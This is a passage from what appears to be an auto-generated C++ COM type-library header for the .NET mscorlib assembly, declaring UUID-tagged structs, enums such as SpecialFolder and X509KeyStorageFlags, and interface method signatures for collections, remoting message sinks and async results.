SHA1CryptoServiceProvider; // [ default ] interface _SHA1CryptoServiceProvider // interface _Object // interface ICryptoTransform // interface IDisposable struct __declspec(uuid("fdf9c30d-ccab-3e2d-b584-9e24ce8038e3")) SHA1Managed; // [ default ] interface _SHA1Managed // interface _Object // interface ICryptoTransform // interface IDisposable struct __declspec(uuid("e29b25fc-9402-3a80-aaa5-eb07d9ef5488")) SHA256; // [ default ] interface _SHA256 // interface _Object // interface ICryptoTransform // interface IDisposable struct __declspec(uuid("44181b13-ae94-3cfb-81d1-37db59145030")) SHA256Managed; // [ default ] interface _SHA256Managed // interface _Object // interface ICryptoTransform // interface IDisposable struct __declspec(uuid("0c00c2e9-7bbe-359e-8261-fd9b9c882a15")) SHA384; // [ default ] interface _SHA384 // interface _Object // interface ICryptoTransform // interface IDisposable struct __declspec(uuid("7fd3958d-0a14-3001-8074-0d15ead7f05c")) SHA384Managed; // [ default ] interface _SHA384Managed // interface _Object // interface ICryptoTransform // interface IDisposable struct __declspec(uuid("8de638d4-0575-3083-9cd7-41619ef9ac75")) SHA512; // [ default ] interface _SHA512 // interface _Object // interface ICryptoTransform // interface IDisposable struct __declspec(uuid("a6673c32-3943-3bbb-b476-c09a0ec0bcd6")) SHA512Managed; // [ default ] interface _SHA512Managed // interface _Object // interface ICryptoTransform // interface IDisposable struct __declspec(uuid("3fa7a1c5-812c-3b56-b957-cb14af670c09")) SignatureDescription; // [ default ] interface _SignatureDescription // interface _Object struct __declspec(uuid("3d79ae1a-a949-3601-978f-02bea1e70a98")) TripleDES; // [ default ] interface _TripleDES // interface _Object // interface IDisposable struct __declspec(uuid("daa132bf-1170-3d8b-a0ef-e2f55a68a91d")) TripleDESCryptoServiceProvider; // [ default ] interface _TripleDESCryptoServiceProvider // interface _Object // interface IDisposable enum __declspec(uuid("70446b90-f93b-3578-9b7b-95d05a12da60")) X509ContentType { X509ContentType_Unknown = 0, X509ContentType_Cert = 1, X509ContentType_SerializedCert = 2, X509ContentType_Pfx = 3, X509ContentType_Pkcs12 = 3, X509ContentType_SerializedStore = 4, X509ContentType_Pkcs7 = 5, X509ContentType_Authenticode = 6 }; enum __declspec(uuid("2530ee1e-6d70-3a79-a864-7cc0e2120da1")) X509KeyStorageFlags { X509KeyStorageFlags_DefaultKeySet = 0, X509KeyStorageFlags_UserKeySet = 1, X509KeyStorageFlags_MachineKeySet = 2, X509KeyStorageFlags_Exportable = 4, X509KeyStorageFlags_UserProtected = 8, X509KeyStorageFlags_PersistKeySet = 16 }; struct __declspec(uuid("4c69c54f-9824-38cc-8387-a22dc67e0bab")) X509Certificate; // [ default ] interface _X509Certificate // interface _Object // interface IDeserializationCallback // interface ISerializable enum __declspec(uuid("2e05a70a-1bbe-31df-b2a8-b8fa0f130915")) SpecialFolder { SpecialFolder_ApplicationData = 26, SpecialFolder_CommonApplicationData = 35, SpecialFolder_LocalApplicationData = 28, SpecialFolder_Cookies = 33, SpecialFolder_Desktop = 0, SpecialFolder_Favorites = 6, SpecialFolder_History = 34, SpecialFolder_InternetCache = 32, SpecialFolder_Programs = 2, SpecialFolder_MyComputer = 17, SpecialFolder_MyMusic = 13, SpecialFolder_MyPictures = 39, SpecialFolder_MyVideos = 14, SpecialFolder_Recent = 8, SpecialFolder_SendTo = 9, SpecialFolder_StartMenu = 11, SpecialFolder_Startup = 7, SpecialFolder_System = 37, SpecialFolder_Templates = 21, SpecialFolder_DesktopDirectory = 16, SpecialFolder_Personal = 5, SpecialFolder_MyDocuments = 5, SpecialFolder_ProgramFiles = 38, SpecialFolder_CommonProgramFiles = 43, SpecialFolder_AdminTools = 48, SpecialFolder_CDBurning = 59, SpecialFolder_CommonAdminTools = 47, SpecialFolder_CommonDocuments = 46, SpecialFolder_CommonMusic = 53, SpecialFolder_CommonOemLinks = 58, SpecialFolder_CommonPictures = 54, SpecialFolder_CommonStartMenu = 22, SpecialFolder_CommonPrograms = 23, SpecialFolder_CommonStartup = 24, SpecialFolder_CommonDesktopDirectory = 25, SpecialFolder_CommonTemplates = 45, SpecialFolder_CommonVideos = 55, SpecialFolder_Fonts = 20, SpecialFolder_NetworkShortcuts = 19, SpecialFolder_PrinterShortcuts = 27, SpecialFolder_UserProfile = 40, SpecialFolder_CommonProgramFilesX86 = 44, SpecialFolder_ProgramFilesX86 = 42, SpecialFolder_Resources = 56, SpecialFolder_LocalizedResources = 57, SpecialFolder_SystemX86 = 41, SpecialFolder_Windows = 36 }; enum __declspec(uuid("86343361-ce50-35ee-8bea-6f39ec8c8159")) DebuggingModes { DebuggingModes_None = 0, DebuggingModes_Default = 1, DebuggingModes_DisableOptimizations = 256, DebuggingModes_IgnoreSymbolStoreSequencePoints = 2, DebuggingModes_EnableEditAndContinue = 4 }; struct __declspec(uuid("139e041d-0e41-39f5-a302-c4387e9d0a6c")) _ValueType : IDispatch {}; struct __declspec(uuid("d09d1e04-d590-39a3-b517-b734a49a9277")) _Enum : IDispatch {}; struct __declspec(uuid("16fe0885-9129-3884-a232-90b58c5b2aa9")) _MulticastDelegate : IDispatch {}; struct __declspec(uuid("2b67cece-71c3-36a9-a136-925ccc1935a8")) _Array : IDispatch {}; struct __declspec(uuid("de8db6f8-d101-3a92-8d1c-e72e5f10e992")) ICollection : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall CopyTo ( /*[in]*/ struct _Array * Array, /*[in]*/ long index ) = 0; virtual HRESULT __stdcall get_Count ( /*[out,retval]*/ long * pRetVal ) = 0; virtual HRESULT __stdcall get_SyncRoot ( /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall get_IsSynchronized ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; }; struct __declspec(uuid("6a6841df-3287-3d87-8060-ce0b4c77d2a1")) IDictionary : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_Item ( /*[in]*/ VARIANT key, /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall putref_Item ( /*[in]*/ VARIANT key, /*[in]*/ VARIANT pRetVal ) = 0; virtual HRESULT __stdcall get_Keys ( /*[out,retval]*/ struct ICollection * * pRetVal ) = 0; virtual HRESULT __stdcall get_Values ( /*[out,retval]*/ struct ICollection * * pRetVal ) = 0; virtual HRESULT __stdcall Contains ( /*[in]*/ VARIANT key, /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall Add ( /*[in]*/ VARIANT key, /*[in]*/ VARIANT value ) = 0; virtual HRESULT __stdcall Clear ( ) = 0; virtual HRESULT __stdcall get_IsReadOnly ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_IsFixedSize ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall GetEnumerator ( /*[out,retval]*/ struct IDictionaryEnumerator * * pRetVal ) = 0; virtual HRESULT __stdcall Remove ( /*[in]*/ VARIANT key ) = 0; }; struct __declspec(uuid("308de042-acc8-32f8-b632-7cb9799d9aa6")) IChannelSinkBase : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_Properties ( /*[out,retval]*/ struct IDictionary * * pRetVal ) = 0; }; struct __declspec(uuid("1a8b0de6-b825-38c5-b744-8f93075fd6fa")) IMessage : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_Properties ( /*[out,retval]*/ struct IDictionary * * pRetVal ) = 0; }; struct __declspec(uuid("941f8aaa-a353-3b1d-a019-12e44377f1cd")) IMessageSink : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall SyncProcessMessage ( /*[in]*/ struct IMessage * msg, /*[out,retval]*/ struct IMessage * * pRetVal ) = 0; virtual HRESULT __stdcall AsyncProcessMessage ( /*[in]*/ struct IMessage * msg, /*[in]*/ struct IMessageSink * replySink, /*[out,retval]*/ struct IMessageCtrl * * pRetVal ) = 0; virtual HRESULT __stdcall get_NextSink ( /*[out,retval]*/ struct IMessageSink * * pRetVal ) = 0; }; struct __declspec(uuid("10f1d605-e201-3145-b7ae-3ad746701986")) IChannelSender : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall CreateMessageSink ( /*[in]*/ BSTR Url, /*[in]*/ VARIANT remoteChannelData, /*[out]*/ BSTR * objectURI, /*[out,retval]*/ struct IMessageSink * * pRetVal ) = 0; }; struct __declspec(uuid("4db956b7-69d0-312a-aa75-44fb55fd5d4b")) IContributeClientContextSink : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall GetClientContextSink ( /*[in]*/ struct IMessageSink * NextSink, /*[out,retval]*/ struct IMessageSink * * pRetVal ) = 0; }; struct __declspec(uuid("0caa23ec-f78c-39c9-8d25-b7a9ce4097a7")) IContributeServerContextSink : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall GetServerContextSink ( /*[in]*/ struct IMessageSink * NextSink, /*[out,retval]*/ struct IMessageSink * * pRetVal ) = 0; }; struct __declspec(uuid("c74076bb-8a2d-3c20-a542-625329e9af04")) IDynamicMessageSink : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall ProcessMessageStart ( /*[in]*/ struct IMessage * reqMsg, /*[in]*/ VARIANT_BOOL bCliSide, /*[in]*/ VARIANT_BOOL bAsync ) = 0; virtual HRESULT __stdcall ProcessMessageFinish ( /*[in]*/ struct IMessage * replyMsg, /*[in]*/ VARIANT_BOOL bCliSide, /*[in]*/ VARIANT_BOOL bAsync ) = 0; }; struct __declspec(uuid("a0fe9b86-0c06-32ce-85fa-2ff1b58697fb")) IContributeDynamicSink : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall GetDynamicSink ( /*[out,retval]*/ struct IDynamicMessageSink * * pRetVal ) = 0; }; struct __declspec(uuid("2a6e91b9-a874-38e4-99c2-c5d83d78140d")) IEnvoyInfo : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_EnvoySinks ( /*[out,retval]*/ struct IMessageSink * * pRetVal ) = 0; virtual HRESULT __stdcall putref_EnvoySinks ( /*[in]*/ struct IMessageSink * pRetVal ) = 0; }; struct __declspec(uuid("36936699-fc79-324d-ab43-e33c1f94e263")) _String : IDispatch {}; struct __declspec(uuid("7499e7e8-df01-3948-b8d4-fa4b9661d36b")) _StringComparer : IDispatch {}; struct __declspec(uuid("9fb09782-8d39-3b0c-b79e-f7a37a65b3da")) _StringBuilder : IDispatch {}; struct __declspec(uuid("4c482cc2-68e9-37c6-8353-9a94bd2d7f0b")) _SystemException : IDispatch {}; struct __declspec(uuid("cf3edb7e-0574-3383-a44f-292f7c145db4")) _OutOfMemoryException : IDispatch {}; struct __declspec(uuid("9cf4339a-2911-3b8a-8f30-e5c6b5be9a29")) _StackOverflowException : IDispatch {}; struct __declspec(uuid("152a6b4d-09af-3edf-8cba-11797eeeea4e")) _DataMisalignedException : IDispatch {}; struct __declspec(uuid("ccf0139c-79f7-3d0a-affe-2b0762c65b07")) _ExecutionEngineException : IDispatch {}; struct __declspec(uuid("7eaba4e2-1259-3cf2-b084-9854278e5897")) _MemberAccessException : IDispatch {}; struct __declspec(uuid("13ef674a-6327-3caf-8772-fa0395612669")) _AccessViolationException : IDispatch {}; struct __declspec(uuid("d1204423-01f0-336a-8911-a7e8fbe185a3")) _ApplicationActivator : IDispatch {}; struct __declspec(uuid("d81130bf-d627-3b91-a7c7-cea597093464")) _ApplicationException : IDispatch {}; struct __declspec(uuid("1f9ec719-343a-3cb3-8040-3927626777c1")) _EventArgs : IDispatch {}; struct __declspec(uuid("98947cf0-77e7-328e-b709-5dd1aa1c9c96")) _ResolveEventArgs : IDispatch {}; struct __declspec(uuid("7a0325f0-22c2-31f9-8823-9b8aee9456b1")) _AssemblyLoadEventArgs : IDispatch {}; struct __declspec(uuid("8e54a9cc-7aa4-34ca-985b-bd7d7527b110")) _ResolveEventHandler : IDispatch {}; struct __declspec(uuid("deece11f-a893-3e35-a4c3-dab7fa0911eb")) _AssemblyLoadEventHandler : IDispatch {}; struct __declspec(uuid("5e6f9edb-3ce1-3a56-86d9-cd2ddf7a6fff")) _AppDomainInitializer : IDispatch {}; struct __declspec(uuid("2c358e27-8c1a-3c03-b086-a40465625557")) _MarshalByRefObject : IDispatch {}; struct __declspec(uuid("124777b6-0308-3569-97e5-e6fe88eae4eb")) IContributeEnvoySink : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall GetEnvoySink ( /*[in]*/ struct _MarshalByRefObject * obj, /*[in]*/ struct IMessageSink * NextSink, /*[out,retval]*/ struct IMessageSink * * pRetVal ) = 0; }; struct __declspec(uuid("6a5d38bc-2789-3546-81a1-f10c0fb59366")) IContributeObjectSink : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall GetObjectSink ( /*[in]*/ struct _MarshalByRefObject * obj, /*[in]*/ struct IMessageSink * NextSink, /*[out,retval]*/ struct IMessageSink * * pRetVal ) = 0; }; struct __declspec(uuid("af93163f-c2f4-3fab-9ff1-728a7aaad1cb")) _CrossAppDomainDelegate : IDispatch {}; struct __declspec(uuid("63e53e04-d31b-3099-9f0c-c7a1c883c1d9")) _AppDomainManager : IDispatch {}; struct __declspec(uuid("ce59d7ad-05ca-33b4-a1dd-06028d46e9d2")) _LoaderOptimizationAttribute : IDispatch {}; struct __declspec(uuid("6e96aa70-9ffb-399d-96bf-a68436095c54")) _AppDomainUnloadedException : IDispatch {}; struct __declspec(uuid("f4b8d231-6028-39ef-b017-72988a3f6766")) _EvidenceBase : IDispatch {}; struct __declspec(uuid("cfd9ca27-f0ba-388a-acde-b7e20fcad79c")) _ActivationArguments : IDispatch {}; struct __declspec(uuid("2f218f95-4215-3cc6-8a51-bd2770c090e4")) _ApplicationId : IDispatch {}; struct __declspec(uuid("4db2c2b7-cbc2-3185-b966-875d4625b1a8")) _ArgumentException : IDispatch {}; struct __declspec(uuid("c991949b-e623-3f24-885c-bbb01ff43564")) _ArgumentNullException : IDispatch {}; struct __declspec(uuid("77da3028-bc45-3e82-bf76-2c123ee2c021")) _ArgumentOutOfRangeException : IDispatch {}; struct __declspec(uuid("9b012cf1-acf6-3389-a336-c023040c62a2")) _ArithmeticException : IDispatch {}; struct __declspec(uuid("dd7488a6-1b3f-3823-9556-c2772b15150f")) _ArrayTypeMismatchException : IDispatch {}; struct __declspec(uuid("3612706e-0239-35fd-b900-0819d16d442d")) _AsyncCallback : IDispatch {}; struct __declspec(uuid("a902a192-49ba-3ec8-b444-af5f7743f61a")) _AttributeUsageAttribute : IDispatch {}; struct __declspec(uuid("f98bce04-4a4b-398c-a512-fd8348d51e3b")) _BadImageFormatException : IDispatch {}; struct __declspec(uuid("f036bca4-f8df-3682-8290-75285ce7456c")) _Buffer : IDispatch {}; struct __declspec(uuid("6d4b6adb-b9fa-3809-b5ea-fa57b56c546f")) _CannotUnloadAppDomainException : IDispatch {}; struct __declspec(uuid("1dd627fc-89e3-384f-bb9d-58cb4efb9456")) _CharEnumerator : IDispatch {}; struct __declspec(uuid("bf1af177-94ca-3e6d-9d91-55cf9e859d22")) _CLSCompliantAttribute : IDispatch {}; struct __declspec(uuid("c2a10f3a-356a-3c77-aab9-8991d73a2561")) _TypeUnloadedException : IDispatch {}; struct __declspec(uuid("6b3f9834-1725-38c5-955e-20f051d067bd")) _CriticalFinalizerObject : IDispatch {}; struct __declspec(uuid("7386f4d7-7c11-389f-bb75-895714b12bb5")) _ContextMarshalException : IDispatch {}; struct __declspec(uuid("3eb1d909-e8bf-3c6b-ada5-0e86e31e186e")) _ContextBoundObject : IDispatch {}; struct __declspec(uuid("160d517f-f175-3b61-8264-6d2305b8246c")) _ContextStaticAttribute : IDispatch {}; struct __declspec(uuid("3025f666-7891-33d7-aacd-23d169ef354e")) _TimeZone : IDispatch {}; struct __declspec(uuid("0d9f1b65-6d27-3e9f-baf3-0597837e0f33")) _DBNull : IDispatch {}; struct __declspec(uuid("bdeea460-8241-3b41-9ed3-6e3e9977ac7f")) _DivideByZeroException : IDispatch {}; struct __declspec(uuid("d345a42b-cfe0-3eee-861c-f3322812b388")) _DuplicateWaitObjectException : IDispatch {}; struct __declspec(uuid("82d6b3bf-a633-3b3b-a09e-2363e4b24a41")) _TypeLoadException : IDispatch {}; struct __declspec(uuid("67388f3f-b600-3bcf-84aa-bb2b88dd9ee2")) _EntryPointNotFoundException : IDispatch {}; struct __declspec(uuid("24ae6464-2834-32cd-83d6-fa06953de62a")) _DllNotFoundException : IDispatch {}; struct __declspec(uuid("29dc56cf-b981-3432-97c8-3680ab6d862d")) _Environment : IDispatch {}; struct __declspec(uuid("7cefc46e-16e0-3e65-9c38-55b4342ba7f0")) _EventHandler : IDispatch {}; struct __declspec(uuid("8d5f5811-ffa1-3306-93e3-8afc572b9b82")) _FieldAccessException : IDispatch {}; struct __declspec(uuid("ebe3746d-ddec-3d23-8e8d-9361ba87bac6")) _FlagsAttribute : IDispatch {}; struct __declspec(uuid("07f92156-398a-3548-90b7-2e58026353d0")) _FormatException : IDispatch {}; struct __declspec(uuid("e5a5f1e4-82c1-391f-a1c6-f39eae9dc72f")) _IndexOutOfRangeException : IDispatch {}; struct __declspec(uuid("fa047cbd-9ba5-3a13-9b1f-6694d622cd76")) _InvalidCastException : IDispatch {}; struct __declspec(uuid("8d520d10-0b8a-3553-8874-d30a4ad2ff4c")) _InvalidOperationException : IDispatch {}; struct __declspec(uuid("3410e0fb-636f-3cd1-8045-3993ca113f25")) _InvalidProgramException : IDispatch {}; struct __declspec(uuid("dc77f976-318d-3a1a-9b60-abb9dd9406d6")) _LocalDataStoreSlot : IDispatch {}; struct __declspec(uuid("ff0bf77d-8f81-3d31-a3bb-6f54440fa7e5")) _MethodAccessException : IDispatch {}; struct __declspec(uuid("8897d14b-7fb3-3d8b-9ee4-221c3dbad6fe")) _MissingMemberException : IDispatch {}; struct __declspec(uuid("9717176d-1179-3487-8849-cf5f63de356e")) _MissingFieldException : IDispatch {}; struct __declspec(uuid("e5c659f6-92c8-3887-a07e-74d0d9c6267a")) _MissingMethodException : IDispatch {}; struct __declspec(uuid("d2ba71cc-1b3d-3966-a0d7-c61e957ad325")) _MulticastNotSupportedException : IDispatch {}; struct __declspec(uuid("665c9669-b9c6-3add-9213-099f0127c893")) _NonSerializedAttribute : IDispatch {}; struct __declspec(uuid("8e21ce22-4f17-347b-b3b5-6a6df3e0e58a")) _NotFiniteNumberException : IDispatch {}; struct __declspec(uuid("1e4d31a2-63ea-397a-a77e-b20ad87a9614")) _NotImplementedException : IDispatch {}; struct __declspec(uuid("40e5451f-b237-33f8-945b-0230db700bbb")) _NotSupportedException : IDispatch {}; struct __declspec(uuid("ecbe2313-cf41-34b4-9fd0-b6cd602b023f")) _NullReferenceException : IDispatch {}; struct __declspec(uuid("17b730ba-45ef-3ddf-9f8d-a490bac731f4")) _ObjectDisposedException : IDispatch {}; struct __declspec(uuid("e84307be-3036-307a-acc2-5d5de8a006a8")) _ObsoleteAttribute : IDispatch {}; struct __declspec(uuid("9e230640-a5d0-30e1-b217-9d2b6cc0fc40")) _OperatingSystem : IDispatch {}; struct __declspec(uuid("9df9af5a-7853-3d55-9b48-bd1f5d8367ab")) _OperationCanceledException : IDispatch {}; struct __declspec(uuid("37c69a5d-7619-3a0f-a96b-9c9578ae00ef")) _OverflowException : IDispatch {}; struct __declspec(uuid("d54500ae-8cf4-3092-9054-90dc91ac65c9")) _ParamArrayAttribute : IDispatch {}; struct __declspec(uuid("1eb8340b-8190-3d9d-92f8-51244b9804c5")) _PlatformNotSupportedException : IDispatch {}; struct __declspec(uuid("0f240708-629a-31ab-94a5-2bb476fe1783")) _Random : IDispatch {}; struct __declspec(uuid("871ddc46-b68e-3fee-a09a-c808b0f827e6")) _RankException : IDispatch {}; struct __declspec(uuid("0c4e9393-dab1-3f92-b36b-d9b958acaaf9")) _TypeInfo : IDispatch {}; struct __declspec(uuid("1b96e53c-4028-38bc-9dc3-8d7a9555c311")) _SerializableAttribute : IDispatch {}; struct __declspec(uuid("85d72f83-be91-3cb1-b4f0-76b56ff04033")) _STAThreadAttribute : IDispatch {}; struct __declspec(uuid("c02468d1-8713-3225-bda3-49b2fe37ddbb")) _MTAThreadAttribute : IDispatch {}; struct __declspec(uuid("7ab88ca9-17f4-385e-ad41-4ee0aa316fa1")) _TimeoutException : IDispatch {}; struct __declspec(uuid("feb0323d-8ce4-36a4-a41e-0ba0c32e1a6a")) _TypeInitializationException : IDispatch {}; struct __declspec(uuid("6193c5f6-6807-3561-a7f3-b64c80b5f00f")) _UnauthorizedAccessException : IDispatch {}; struct __declspec(uuid("a218e20a-0905-3741-b0b3-9e3193162e50")) _UnhandledExceptionEventArgs : IDispatch {}; struct __declspec(uuid("84199e64-439c-3011-b249-3c9065735adb")) _UnhandledExceptionEventHandler : IDispatch {}; struct __declspec(uuid("011a90c5-4910-3c29-bbb7-50d05ccbaa4a")) _Version : IDispatch {}; struct __declspec(uuid("c5df3568-c251-3c58-afb4-32e79e8261f0")) _WeakReference : IDispatch {}; struct __declspec(uuid("40dfc50a-e93a-3c08-b9ef-e2b4f28b5676")) _WaitHandle : IDispatch {}; struct __declspec(uuid("11ab34e7-0176-3c9e-9efe-197858400a3d")) IAsyncResult : IDispatch { // // Raw methods provided by interface // virtual HRESULT __stdcall get_IsCompleted ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; virtual HRESULT __stdcall get_AsyncWaitHandle ( /*[out,retval]*/ struct _WaitHandle * * pRetVal ) = 0; virtual HRESULT __stdcall get_AsyncState ( /*[out,retval]*/ VARIANT * pRetVal ) = 0; virtual HRESULT __stdcall get_CompletedSynchronously ( /*[out,retval]*/ VARIANT_BOOL * pRetVal ) = 0; }; struct __declspec(uuid("e142db4a-1a52-34ce-965e-13affd5447d0")) _EventWaitHandle : IDispatch {}; struct __declspec(uuid("3f243ebd-612f-3db8-9e03-bd92343a8371")) _AutoResetEvent : IDispatch {}; struct __declspec(uuid("56d201f1-3e5d-39d9-b5de-064710818905")) _ContextCallback : IDispatch {}; struct __declspec(uuid("c0bb9361-268f-3e72-bf6f-4120175a1500")) _ManualResetEvent : IDispatch {}; struct __declspec(uuid("ee22485e-4c45-3c9d-9027-a8d61c5f53f2")) _Monitor : IDispatch {}; struct __declspec(uuid("36cb559b-87c6-3ad2-9225-62a7ed499b37")) _Mutex : IDispatch {}; struct __declspec(uuid("dd846fcc-8d04-3665-81b6-aacbe99c19c3")) _Overlapped : IDispatch {}; struct __declspec(uuid("ad89b568-4fd4-3f8d-8327-b396b20a460e")) _ReaderWriterLock : IDispatch {}; struct __declspec(uuid("87f55344-17e0-30fd-8eb9-38eaf6a19b3f")) _SynchronizationLockException : IDispatch {}; struct __declspec(uuid("95b525db-6b81-3cdc-8fe7-713f7fc793c0")) _ThreadAbortException : IDispatch {}; struct __declspec(uuid("b9e07599-7c44-33be-a70e-efa16f51f54a")) _ThreadInterruptedException : IDispatch {}; struct __declspec(uuid("64409425-f8c9-370e-809e-3241ce804541")) _RegisteredWaitHandle : IDispatch {}; struct __declspec(uuid("ce949142-4d4c-358d-89a9-e69a531aa363")) _WaitCallback : IDispatch {}; struct __declspec(uuid("f078f795-f452-3d2d-8cc8-16d66ae46c67")) _WaitOrTimerCallback : IDispatch {}; struct __declspec(uuid("bbae942d-bff4-36e2-a3bc-508bb3801f4f")) _IOCompletionCallback : IDispatch {}; struct __declspec(uuid("b45bbd7e-a977-3f56-a626-7a693e5dbbc5")) _ThreadStart : IDispatch {}; struct __declspec(uuid("a13a41cf-e066-3b90-82f4-73109104e348")) _ThreadStateException : IDispatch {}; struct __declspec(uuid("a6b94b6d-854e-3172-a4ec-a17edd16f85e")) _ThreadStaticAttribute : IDispatch {}; struct __declspec(uuid("81456e86-22af-31d1-a91a-9c370c0e2530")) _Timeout : IDispatch {}; struct __declspec(uuid("3741bc6f-101b-36d7-a9d5-03fcc0ecda35")) _TimerCallback : IDispatch {}; struct __declspec(uuid("b49a029b-406b-3b1e-88e4-f86690d20364")) _Timer : IDispatch {}; struct __declspec(uuid("ea6795ac-97d6-3377-be64-829abd67607b")) _CaseInsensitiveComparer : IDispatch {}; struct __declspec(uuid("0422b845-b636-3688-8f61-9b6d93096336")) _CaseInsensitiveHashCodeProvider : IDispatch {}; struct __declspec(uuid("b7d29e26-7798-3fa4-90f4-e6a22d2099f9")) _CollectionBase : IDispatch {}; struct __declspec(uuid("ddd44da2-bc6b-3620-9317-c0372968c741")) _DictionaryBase : IDispatch {}; struct __declspec(uuid("bd32d878-a59b-3e5c-bfe0-a96b1a1e9d6f")) _ReadOnlyCollectionBase : IDispatch {}; struct __declspec(uuid("3a7d3ca4-b7d1-3a2a-800c-8fc2acfcbda4")) _Queue : IDispatch {}; struct __declspec(uuid("401f89cb-c127-3041-82fd-b67035395c56")) _ArrayList : IDispatch {}; struct __declspec(uuid("f145c46a-d170-3170-b52f-4678dfca0300")) _BitArray : IDispatch {}; struct __declspec(uuid("ab538809-3c2f-35d9-80e6-7bad540484a1")) _Stack : IDispatch {}; struct __declspec(uuid("8064a157-b5c8-3a4a-ad3d-02dc1a39c417")) _Comparer : IDispatch {}; struct __declspec(uuid("d25a197e-3e69-3271-a989-23d85e97f920")) _Hashtable : IDispatch {}; struct __declspec(uuid("56421139-a143-3ae9-9852-1dbdfe3d6bfa")) _SortedList : IDispatch {}; struct __declspec(uuid("84e7ac09-795a-3ea9-a36a-5b81ebab0558")) _Nullable : IDispatch {}; struct __declspec(uuid("8039c41f-4399-38a2-99b7-d234b5cf7a7b")) _KeyNotFoundException : IDispatch {}; struct __declspec(uuid("e40a025c-645b-3c8e-a1ac-9c5cca279625")) _ConditionalAttribute : IDispatch {}; struct __declspec(uuid("a9b4786c-08e3-344f-a651-2f9926deac5e")) _Debugger : IDispatch {}; struct __declspec(uuid("3344e8b4-a5c3-3882-8d30-63792485eccf")) _DebuggerStepThroughAttribute : IDispatch {}; struct __declspec(uuid("b3276180-b23e-3034-b18f-e0122ba4e4cf")) _DebuggerStepperBoundaryAttribute : IDispatch {}; struct __declspec(uuid("55b6903b-55fe-35e0-804f-e42a096d2eb0")) _DebuggerHiddenAttribute : IDispatch {}; struct __declspec(uuid("cc6dcafd-0185-308a-891c-83812fe574e7")) _DebuggerNonUserCodeAttribute : IDispatch {}; struct __declspec(uuid("428e3627-2b1f-302c-a7e6-6388cd535e75")) _DebuggableAttribute : IDispatch {}; struct __declspec(uuid("a3fc6319-7355-3d7d-8621-b598561152fc")) _DebuggerBrowsableAttribute : IDispatch {}; struct __declspec(uuid("404fafdd-1e3f-3602-bff6-755c00613ed8")) _DebuggerTypeProxyAttribute : IDispatch {}; struct __declspec(uuid("22fdabc0-eec7-33e0-b4f2-f3b739e19a5e")) _DebuggerDisplayAttribute : IDispatch {}; struct __declspec(uuid("e19ea1a2-67ff-31a5-b95c-e0b753403f6b")) _DebuggerVisualizerAttribute : IDispatch {}; struct __declspec(uuid("9a2669ec-ff84-3726-89a0-663a3ef3b5cd")) _StackTrace : IDispatch {}; struct __declspec(uuid("0e9b8e47-ca67-38b6-b9db-2c42ee757b08")) _StackFrame : IDispatch {}; struct __declspec(uuid("5141d79c-7b01-37da-b7e9-53e5a271baf8")) _SymDocumentType : IDispatch {}; struct __declspec(uuid("22bb8891-fd21-313d-92e4-8a892dc0b39c")) _SymLanguageType : IDispatch {}; struct __declspec(uuid("01364e7b-c983-3651-b7d8-fd1b64fc0e00")) _SymLanguageVendor : IDispatch {}; struct __declspec(uuid("81aa0d59-c3b1-36a3-b2e7-054928fbfc1a")) _AmbiguousMatchException : IDispatch {}; struct __declspec(uuid("05532e88-e0f2-3263-9b57-805ac6b6bb72")) _ModuleResolveEventHandler : IDispatch {}; struct __declspec(uuid("6163f792-3cd6-38f1-b5f7-000b96a5082b")) _AssemblyCopyrightAttribute : IDispatch {}; struct __declspec(uuid("64c26bf9-c9e5-3f66-ad74-bebaade36214")) _AssemblyTrademarkAttribute : IDispatch {}; struct __declspec(uuid("de10d587-a188-3dcb-8000-92dfdb9b8021")) _AssemblyProductAttribute : IDispatch {}; struct __declspec(uuid("c6802233-ef82-3c91-ad72-b3a5d7230ed5")) _AssemblyCompanyAttribute : IDispatch {}; struct __declspec(uuid("6b2c0bc4-ddb7-38ea-8a86-f0b59e192816")) _AssemblyDescriptionAttribute : IDispatch {}; struct __declspec(uuid("df44cad3-cef2-36a9-b013-383cc03177d7")) _AssemblyTitleAttribute : IDispatch {}; struct __declspec(uuid("746d1d1e-ee37-393b-b6fa-e387d37553aa")) _AssemblyConfigurationAttribute : IDispatch {}; struct __declspec(uuid("04311d35-75ec-347b-bedf-969487ce4014")) _AssemblyDefaultAliasAttribute : IDispatch {}; struct __declspec(uuid("c6f5946c-143a-3747-a7c0-abfada6bdeb7")) _AssemblyInformationalVersionAttribute : IDispatch {}; struct __declspec(uuid("b101fe3c-4479-311a-a945-1225ee1731e8")) _AssemblyFileVersionAttribute : IDispatch {}; struct __declspec(uuid("177c4e63-9e0b-354d-838b-b52aa8683ef6")) _AssemblyCultureAttribute : IDispatch {}; struct __declspec(uuid("a1693c5c-101f-3557-94db-c480ceb4c16b")) _AssemblyVersionAttribute : IDispatch {}; struct __declspec(uuid("a9fcda18-c237-3c6f-a6ef-749be22ba2bf")) _AssemblyKeyFileAttribute : IDispatch {}; struct __declspec(uuid("6cf1c077-c974-38e1-90a4-976e4835e165")) _AssemblyDelaySignAttribute : IDispatch {}; struct __declspec(uuid("57b849aa-d8ef-3ea6-9538-c5b4d498c2f7")) _AssemblyAlgorithmIdAttribute : IDispatch {}; struct __declspec(uuid("0ecd8635-f5eb-3e4a-8989-4d684d67c48a")) _AssemblyFlagsAttribute : IDispatch {}; struct 